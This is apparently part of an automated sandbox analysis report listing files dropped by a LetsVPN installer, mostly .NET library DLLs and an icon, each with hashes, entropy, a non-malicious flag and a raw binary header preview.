SHA-512:	184362A3E67C103F33C812082373BCD7CDE56CC45D6F057FF886C78E77C06957DE77A4DBFC8E129FE996051657E260778AB246EF0046E4CCB6B0E9D1A1FAC3C6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s.~..........." ..0.............:1... ...@....... ....................................`..................................0..O....@...................+...`......./..T............................................ ............... ..H............text...@.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H.......P .. ...................p/......................................BSJB............v4.0.30319......l...h...#~..........#Strings............#US.........#GUID.......4...#Blob......................3................................F...............4.c.....c...o.<...............U...........m.......................T.............2.................6.....6.....6...).6...1.6...9.6...A.6...I.6...Q.6...Y.6...a.6...i.6...q.6.......................#.....+.*...+.F...+.\...3.r...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	51176
Entropy (8bit):	6.240820708447174
Encrypted:	false
SSDEEP:	1536:/3wBccZdxuB8mQen6JxKjrlMZgR0EoOAwrxS:vcHmQPUkOhw
MD5:	80866CD6502A9D91428C49FC8FB36416
SHA1:	CD2D2CBAC6DF3A373F70101AAD62CCBAD14C13DC
SHA-256:	525114F24029CA5190C757062E44EDD67B97473EC86ED7EF8C3EED6EDCDAAC50
SHA-512:	EEC2909FAF99F85A99F25B646EB596ABA3E596697C514FEA526458DE0529CAB54A16D6F4A6D654734F0F4BF5EDF214903032EA569058185E0E8FFC8FCE51E383
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...du.K...........!..................... ........ ;. ....................................@.................................\...O........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......4O..X`..........xD......P ......................................{c...2......q..Z,.C.....3.n.Z..7....R.....T.{yF")i.$JMv...,a.....U...M:,...Z.Q:..c..N.{....<....h%.....:s..T...Z.gSI.....6.(.....{.......0..&........(..............s....o.....s....}.......0..K........(.....{....o........,3..+&..( .........{.....o!..............X...(....2...0..L........{.....o"...,=(#...(..................($...o%.......(&...o%.....('...s(...z*.0...........o).......E............d

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.90491148831205
Encrypted:	false
SSDEEP:	384:Or97WquWjhpwKANynsAw/98E9VF3AM+obFl:ORJEAw/KENAMxj
MD5:	88B01692B46FE2F201F91366FAD7E908
SHA1:	4B1DE540BBBAD79455B21B9361B6CDF465F983CF
SHA-256:	5D1979961DA9D938CBF578F8A847D4159A8640FC313CCC771B345567CFCD5EFE
SHA-512:	5A8229E6FCAB6434445492B40B4C30392318F619D8BEAF2F05E5FBBAFE94D6E28D8155673E29A58D3BC2E6482D44BDF31E43BDA377A682E731B4C29AE503EE0D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............+... ...@....... ...................................@.................................\+..O....@...................+...`......$*............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P ..T....................)......................................BSJB............v4.0.30319......l.......#~..T.......#Strings....0.......#US.4.......#GUID...D.......#Blob......................3......................................z...........j.....j.....W...............B.....z.............................................................Q.....Q.....Q...).Q...1.Q...9.Q...A.Q...I.Q...Q.Q...Y.Q...a.Q...i.Q...q.Q.......................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.851482900898342
Encrypted:	false
SSDEEP:	384:Y16eWLDW3CpwKANynsAw/98E9VF3AM+o2C+d:g6LqAw/KENAMxad
MD5:	89B44404F8298AFFDBC7FF174F442DDF
SHA1:	25CD59251DF4328BE8B1B9144B90D57B0A86EBDB
SHA-256:	9EA9286DDAF4ACDA11284362B3E3C5C65F289FF3DF6B680CB7476E929AA589CB
SHA-512:	A5D7B68D6C2E84DD6EA4047D5978C98DA5804FC1A3B93E30737FBF6ED5F1D2522E5647E700564AEB6A7C162EBCCF2878DAF9FA3EFA313FB7F90D2E801E86EAF5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0................. ...@....... ....................................@.................................\|..O....@...................+...`......D)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P ..t....................(......................................BSJB............v4.0.30319......l.......#~......8...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................z.....z...u.g.................................>.....W.................r.....[...................a.....a.....a...).a...1.a...9.a...A.a...I.a...Q.a...Y.a...a.a...i.a...q.a.......................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17896
Entropy (8bit):	6.843882988196922
Encrypted:	false
SSDEEP:	384:HY8G4YC2W+wW8WpwWxUpwKANynsAw/98E9VF3AM+oQ4fTmr:HjGZ5xAw/KENAMxw
MD5:	BACB698D88F26E656D6C42D0E0537A51
SHA1:	E1BF00B8D7AC8EEB88D7759D944235AA7F81A609
SHA-256:	3D83845CF4EE08017DC971F361CEBFB55CC98D369210B5AC1D910932FC91EB8B
SHA-512:	ADCFC1392EDC624C1C74E4B681037211D790B310BDDD5AB238A614C0B9C6B56458A3DBE29E98A946AD9F078FE5BB95F290954514C722FCBA643A8C2EA80606A7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............+... ...@....... ....................................@.................................z+..O....@..x................+...`...................................................... ............... ..H............text........ ...................... ..`.rsrc...x....@......................@..@.reloc.......`......................@..B.................+......H.......t ......................P........................................s....:.(......}....2.{....(....*BSJB............v4.0.30319......l.......#~..0.......#Strings............#US.........#GUID...........#Blob...........WW.........3..............................................................L.........4.H...}.H...u.v...........;...........;...=.;.................../.%...........P.....m.....................................v...S.......v...d.v...........v...m...............

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.947021415380896
Encrypted:	false
SSDEEP:	384:B6ziqTEkGWvRW67pwKANynsAw/98E9VF3AM+oxLJcC+w3R:BYT1kAw/KENAMxcC/h
MD5:	1CEAC27FDB0F2D030AC6BBAD54142E4B
SHA1:	D07B4632A71349EC5B32CC7742D273C5584C8238
SHA-256:	F148D8286C890468B3B7E4ABBFCFFD8D7A46609F7A35819390A4CC02EA088638
SHA-512:	ABE58CE1B68388A031057C182EFBD95B8FD0783D1B9FA06C8B2A74D5475A5CC794EB030240261CADDDE70002AE9706A0AA5314775DC034AC31E429A17E08F006
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................)..O....@...................+...`......d(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.\|.......#GUID...........#Blob......................3................................................'...........~...................................G.....`.................{.....d...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.-...K.M...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.866181828112814
Encrypted:	false
SSDEEP:	384:/Uv7c7iWNCWzIpwKANynsAw/98E9VF3AM+oSje6V31o2:/M7c11Aw/KENAMx2e61y2
MD5:	6707533500FC64115A39DB26979FA539
SHA1:	FA5638550E60177FFAF2B3AE0A7FFBE86BB003BF
SHA-256:	3F4C126146F0F1ADB99CC51F46350D18BB972D8AA4361011C78E01943FE923D1
SHA-512:	B075B4B6DB1C5417C013B5D15BC28EA59F34245C91A03054DF229CC102C2FC5486AA9E96DF273C6BCE4F48F7C61D2496CDD9DFA52068C21A8FA8D6B3EDF6EFCD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0................. ...@....... ...................................@....................................O....@...................+...`......`)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P .......................(......................................BSJB............v4.0.30319......l.......#~......l...#Strings....l.......#US.p.......#GUID...........#Blob......................3................................................4...........~.............H.....H.....H.....H...T.H...m.H.....H.....H.........d.H.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.907371376742411
Encrypted:	false
SSDEEP:	384:bSWnRWAlpwKANynsAw/98E9VF3AM+orlbDhL:bzkAw/KENAMx5bVL
MD5:	4884E27B9B813AF08924E6BE157FDF80
SHA1:	9E79A246FC2D1555EB8D826DAF231492AAB0EDE0
SHA-256:	9B8A33B04EE86AFB4B382F28A686DC1316E13CFE7893494B65D6BE901C1CB8C7
SHA-512:	A64F2BAE6DDAFE4FE0680F0EE43BD26D9FDAEEFC0A115FEBCFD906C522CA02E330F58389A381E6EAC2193D6184A268C9CA9B3977496DA3EC096B32D315BE0DA2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0..............+... ...@....... ....................................@.................................L+..O....@..$................+...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................+......H.......P ..D....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings.... .......#US.$.......#GUID...4.......#Blob......................3..................................................k.....k...U.@.........i.....=.........................................&.....'...................:.....:.....:...).:...1.:...9.:...A.:...I.:...Q.:...Y.:...a.:...i.:...q.:.......................#.....+.....3.....;.....C.5...K.U...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.Messages.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	101352
Entropy (8bit):	4.716134808418194
Encrypted:	false
SSDEEP:	768:VHmt9tmMLbLR6330XUb9GYQpAw/KENAMxgmvNAR:V+d6336UbILpAwrxg8A
MD5:	718E6F271AE8153C7E46693B9C4DFDF7
SHA1:	CAA72B318CCB7E7D9AEAF8660052C5605831A113
SHA-256:	6E35E281509F58C35AACD80A8BB0BDC85C5DB63A1B6B79645E11202684409CB8
SHA-512:	6771A6D3D971EBED2D029B547DD895E75289CE5C28497A9009CEA283E482BE22415A4F7E6DB4556C192300B3A823CBD352CD953743A2A3310B8AD2E9D48EC45D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....\.........." ..0................. ........... ....................................@.....................................O...................`...+........................................................... ............... ..H............text...0.... ...................... ..`.rsrc..............................@..@.reloc...............^..............@..B........................H........(..."...........J..p... ........................................0.. .......s7......}........8...s....o...+.0..'.......s9......}......}........:...s....o...+..0.. .......s;......} .......<...s....o...+.0..'.......s=......}!.....}".......>...s....o...+..0.. .......s?......}#.......@...s....o...+.0..'.......sA......}$.....}%.......B...s....o...+..0.. .......sC......}&.......D...s....o...+.0..'.......sE......}'.....}(.......F...s....o...+R.(.....(......(...+2.(.

C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	120808
Entropy (8bit):	5.068062171449719
Encrypted:	false
SSDEEP:	768:Jr7hqeNzclb+af/wFGfdpOOJWOQE9/TBLW/UwmoAw/KENAMx5PF:Jr7hqeNzclR/CWpKsRBLW/EoAwrx5PF
MD5:	785A703389559E49A08BAA4401BD45F2
SHA1:	60FC997153F12C8DB5467AB64F756CA8ED059113
SHA-256:	DABE14E7ABE508B97134E9850DBBE27A4533A684ACFB891631C197BB9CCD7FAB
SHA-512:	F4133F76DE3ECC18AE358DF3D6C434A6C8AB68DDDB684195F543FF18C32582FB8D2DD57167B4E8CCE25A0FDA5C2C3B2D84C2847D769D8FDE5754740FE2182864
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....\.........." ..0..$...........C... ...`....... ....................... ......#.....@..................................C..O....`...................+..........hB............................................... ............... ..H............text....#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc..............................@..B.................C......H........N...n..................A......................................f.s....}.....(......}....v.(.....{.....o.........o.....0...........{..........(.....{....,..k.(......o....%-.&s.......}......o....}.....{.....o....o......o.....o.....o.....o.....s....}.......,..(..............s\|.......0..T.......s....%(....o....o......{.....o.....o....-.r...pr'..ps....z.o....-.re..pr'..ps....z.J.{....%-.&.o......{....*..0..M........{....-D..}.....{....%-.&+.(....%-.&+.o.....{....%-.

C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	130536
Entropy (8bit):	5.964318353666981
Encrypted:	false
SSDEEP:	3072:s/FN+AQPoaBBzp/1e9YbCW1NtLGi/yOqi1/Xg6iyhUkuIqhk:stuouH/67Xhk
MD5:	45732388F391D4D629F5F937F81800E6
SHA1:	F499DC39BB22D1EB36428C0804D397807458659E
SHA-256:	BE173837D34711ED61EAFEC422463BCD27D7624B21FBA9D41C72738EBF8DC1BE
SHA-512:	2BE81D7688C1FB6963AE5DB80144337B90701FF718F4920751A993AB37013B0817C647AF766F852E8FFF549DB540666EA90FC5F8419EBE0632C18C92F6EC012D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.................. ........... .......................@...........`.................................m...O.......P................+... ..........8............................................ ............... ..H............text........ ...................... ..`.rsrc...P...........................@..@.reloc....... ......................@..B........................H.......<....8...........................................................0..........s......(9....j........(:...&...(.......0o.........+,.....o ...o!...o"...&...2..r...po"...&...Y...../..0...r...p(#.....(1....r5..po"...&...o$...o"...&...o$.............ag.0.....0..j.......~%....rQ..prY..ps&...%.o'...%.o(...%.o)...(.....o+...o,.......,..o-........r_..p(#....(1...r...p.s....z.*........0..>..........DJ.......0..........s/....(......l...%....%....o0......+r.....(1...-b...l...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\View\Assets\notification_icon.png

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	12243
Entropy (8bit):	7.820583648387655
Encrypted:	false
SSDEEP:	192:WLj1H8FzmdclL4jx3c4yrJuhRof6YQURyMGf0gDSvGrEHsf8Aw47b:QpiYccZrZRof6YQUPPgDSvGr+q8D47b
MD5:	AA3CFA4A176584F79EEE7F74032E446F
SHA1:	752B97FF9A8D28E92F6FB35EE24FF3DA2E8DEEE5
SHA-256:	34A9425F58EDB250E7FBD9217D73A5AD96D1986ACA3520AFE8CADB66E32E3F33
SHA-512:	A824DA84DEDAFCDCEACDF9D602B5F89526168E6350E7478D31A5562A8B12D496FB5205B62EDFB2DF1C3896D6B24DA761A1211CF342C1AFF8E6235C4569A54BFF
Malicious:	false
Preview:	.PNG........IHDR.............k.XT....PLTE....g.H.\...O..E..E.jj..D..E.Q..rb.S...D.tc..H.H.P..ni.T..S...H.Q...F.N..L.N...E.....D.M..Y..yS.uW.O..S..ig.q[..D..H....}P.lc..D.T..bv.en.gk.n_.Q..]...L..D.D.D.D.[...N..D.F.[..cr..D.V...E.D.D.Y...D..D.P.._}..L..D..C..D..D.D.W...D.G.I..D.`z..D..D..E.D.m...D..D..C..G.o...C..N..O.w{.t...[.j..]...R.q..c...U..Q..N..i..Y..`..S..N.zw..n..N.g...N..N.\|r..N.N.....V..N..N....^..a..d...N.g......N.N.O..N.M.O.O.d..O.......U...N....z?.LN.n>....O..w..kb...eP.`2.`D.sq.........7.....W.w^.T=...sJ....f..xj....bk..$.....&.[[..&....g$.....u...m.....B......Vj..8.I....'.mx......1.k..Oy.........j.... .:..Fb..1....\.....@u.. .....H.L...f.-.........I.t".......g..1....G...(.E..........8..w...y....9..I.....i..............k......}...b..E.....tRNS..-.L...O...QQ..........'^..,iIDATx...MH.A.....].U3.Xw....B.2..K...A..i.%F...BWA..3.K..H...u.P...C..I..K..<...w....C_........>.../...+*+..v.@m..N.X.XG.qt.i.k+...(jXQ

C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	73192
Entropy (8bit):	6.249748321991057
Encrypted:	false
SSDEEP:	1536:oXSaVnItYw1N0tUUTAz/kI5JIol/NkIgJ4WoAwrxm:o5VnqzNaNE4IvIolSIgJjohg
MD5:	06FC5706D827C0D089D3C87DF503B557
SHA1:	0A14CE3E4FE3BA1064ECF8EBB9A622E6F8DABF98
SHA-256:	74F911F6A915C5BB2268EC8F71E06ED6F89178650F4C7C613C779DD99CB719AA
SHA-512:	C14E2C487948FCEAB72E17D5A53C6554F402D9494937ACBD1584C35278069193BE8F00D965395CE9B0F2C8F608D39DF641BF86EA5F42033E949395CFA87E4C50
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...FqZ.........." ..0.............V.... ... ....... .......................`............`.....................................O.... ..4................+...@....................................................... ............... ..H............text...\.... ...................... ..`.rsrc...4.... ......................@..@.reloc.......@......................@..B................6.......H.......4k...............................................................{...."..}......{...."..}....V.(......(......(....:.(......(......{...."..}....Z...o....&.~....o....&Z...o....&.~....o....&V..o....&.~....o....&6.~....o....&...0...........~....Q..~......s.....8.....P(....,...Q8.....r...po....,..(....-&....o....-.......o....( ...o!...8......:o"........?........o#.......(....-...o..........Xo$.......(....-"..r...po....,...o%....1....o$.......(....-1.....o....

C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	6.4025329384270835
Encrypted:	false
SSDEEP:	384:ap0c3XP4cGqWpMgtZvtxsoOaY2ZXnFq+3xfJBRGCVoCpwKANynsAw/98E9VF3AM8:aqsQtqwMkbvnFqqPgq4Aw/KENAMxJY
MD5:	EE295B444AFECBF42526BD136DEE4002
SHA1:	E490EC5B8BC823CAF487DC02CA82003964E08276
SHA-256:	ED46BDF66B27421E70CDC2D0C334A3F09818173790732061C36C5301C37737AF
SHA-512:	7D0E0D5929D38F67C772CC96307DA7E08DC7D09629F2A14354DEA883895515CF2C490A6D8C94E317329FD6173906A4D1B5E981A1AB4656B90578C27168F10577
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......R...........!.....N..........>m... ........... ....................................@..................................l..W....................X...+...........k............................................... ............... ..H............text...DM... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................ m......H......../...;..................P ......................................`.R...~d.5.......eQ..........EG2..D9.p....WPu.s.\|nn....1.....F..V7..W.(....od,...........!8....W..ez..e..Q.....h..:`...Qgr.(......}......}......}......(......sf...}......s....}.....s~...}......{......{......{......(.....-.r...ps....z..}.....s....}.....0..c........(.....-.r...ps....z.-=r...p.....(....o.........(....o.........(....o....(....s....z..}......}....2.{....o....6.{.....o=...*...0..

C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	53736
Entropy (8bit):	6.343120471435367
Encrypted:	false
SSDEEP:	768:nhDcl7W1UiZTo1ooEqzW3SQwiNsI8l5wwyvUPrYZBkcDfAw/KENAMxbUk:nh8QpZTsooEX3SQwr9y4UZRDfAwrx1
MD5:	F0B78CE643F8890B64A36B25D0BE40FD
SHA1:	6A61E2C668474CCEC69346A2053D0A02A809EAD5
SHA-256:	6682680A9655BD129B62025FA2E3B6C0B158E8B0F0122243DD8154377A43184F
SHA-512:	418CD88B99CA3AA49D2CA532FCB2FBF341A94D8FC3935D3D0229761C945F0EE4A287ADDC6D759F78D65C333A58B55102AB43DB4D64F178F192EE2C2E7929BCB2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5............" ..0.................. ........... ....................................@.................................J...O.......$................+..........h...T............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................~.......H........H..Hq...........................................................{......{....V.(......}......}.......0..;........u......,/(.....{.....{....o....,.(.....{.....{....o...... ...' )UU.Z(.....{....o....X )UU.Z(.....{....o....X.0...........r...p......%..{.....................-.q.............-.&.+.......o ....%..{.....................-.q.............-.&.+.......o ....(!....0..2..........(....~.......o"...-.~.....s#...%.o$.....o%...&...0..A..........(....~.......o"..

C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (DLL) (console) Aarch64, for MS Windows
Category:	dropped
Size (bytes):	126440
Entropy (8bit):	6.088128254176655
Encrypted:	false
SSDEEP:	1536:eDdMkQCUK86ryzDWs0MxThVvTe6sWkddGDGEtg3q2LOOCN+HAwrx73:eDdef+yR17exwDGEtg3q2LOdN+HhV
MD5:	91864DB7B724160E80E702DF93313006
SHA1:	8926004BE47BF37D940C6078B98E546D179C8F59
SHA-256:	8DA336ADBFEC70C5565EA72597925C4CC1B4FD254E259E940F5AC43760E15F7E
SHA-512:	BE6F53F65F656C1904C07F72F0AADFE9FEE30807C1A7C8F9B5F0EAC8709A350012753B2F0F84F5F1F23525C25447FE725587FCF86EEC153D7EB29FD46A4F1904
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......`.........." ................ C....................................... ......S.....`A........................................_.......Q...(...............(........+......\|..........................@...(... !..0...................P........................text............................... ..`.rdata...... ......................@..@.data...\|...........................@....pdata..(...........................@..@.00cfg..............................@..@.tls................................@....rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\cs\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.7368967869819905
Encrypted:	false
SSDEEP:	384:KEZLkwA5qKV3XWe6lWrypwKANynsAw/98E9VF3AM+o/RjPB:PxkwAlagAw/KENAMxprB
MD5:	63B58F8B1E0BE713BCFE9DAFC9176CC2
SHA1:	B89CDFEA822B0FA430EB876371DE7497D32CF02E
SHA-256:	28EC6D09F13B0BC08F60B5CA44589EDD5C8DCA987F0CA8F6ADD37B53FAD4C764
SHA-512:	6C961FEED34104A3679980979F1C3DD3ED54939E3F52AD0CD4352FAAE271A5BBCBB9494BE59A30D824783A3EAE5AC07B0097FD1F9E20648AC3350032CE6A3B12
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............8... ...@....... ..............................=.....@.................................D8..O....@...............$...+...`......(8............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................x8......H.......P ...............%.......7......................................BSJB............v4.0.30319......l...D...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\de\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.733717681243628
Encrypted:	false
SSDEEP:	384:LqmGsHW08We6lWwSpwKANynsAw/98E9VF3AM+ooe6fM:LBGsH1xfAw/KENAMxFIM
MD5:	35769612C2125805C6C002DB0109F357
SHA1:	EDFB7903D5ED6C8DC411F42B9F0144909D6E44A1
SHA-256:	74A973702CC39F0320162D3DB2F0E1BB1BF8AA01C301D43C79FD95C91136796E
SHA-512:	F5EA44073C2B842713BC19CD8A9A6499F444E25D94E2B6C5E87CAE46D59DC96A0B1611ECC15BC2349044E39B1FCFA46784C55CD2CC08974F4C4254A68F167997
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G),..........." ..0..............9... ...@....... ..............................E~....@..................................9..O....@...............$...+...`.......9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%..8....9......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3....................................../.......................u...........].....].....]...D.]...a.].....]...-.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\es\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.695566503181327
Encrypted:	false
SSDEEP:	384:R11LpDt4We6lWUXpwKANynsAw/98E9VF3AM+oHoPZ4:TBdiAw/KENAMxx
MD5:	9E7010EDC447D4E8D1429BBB34B4A806
SHA1:	F863DD49B6FB75F29C0CCE64041177C7185D4B59
SHA-256:	EBE39DC3B6E29646EA4D0BD204D9084CE3155D35B798EB3AA1CAFDB18BF4992E
SHA-512:	334E43A34D5B5123AB24E26CCBD94421E1F29534D68125F8545EE70ABE28EC2E9461559CF6556578960FBBDC880F7BB1557CB462A24C6A4D0C03AE7026F64F2B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k2............" ..0.............69... ...@....... ..............................Z.....@..................................8..O....@...............$...+...`.......8............................................... ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%..x...H8......................................BSJB............v4.0.30319......l...D...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\fr\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.739864564293847
Encrypted:	false
SSDEEP:	384:XsxhehdMDxbFWe6lWYFpwKANynsAw/98E9VF3AM+oM2yA7:8vy+DAUAw/KENAMx8+
MD5:	AB8DC70D51CBD593FDEB3072E593A262
SHA1:	49332688646ABD689F4451B8E0D864E0E0D7EFD2
SHA-256:	E5888ECEBA76225AE16540A762A86872FDF389D0DB59AA223B6B6671CBE10FA2
SHA-512:	DDA3F048D9CC5F445B311A3CB725F910DF3B2AD4CAC80818AA0D75EB8D38734892246FA6F84476563B75DF0F28657B41784CBE78FD1BEAF2648D6D0845CD331C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....,E..........." ..0..............9... ...@....... ..............................[.....@.................................`9..O....@...............$...+...`......D9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................l.............

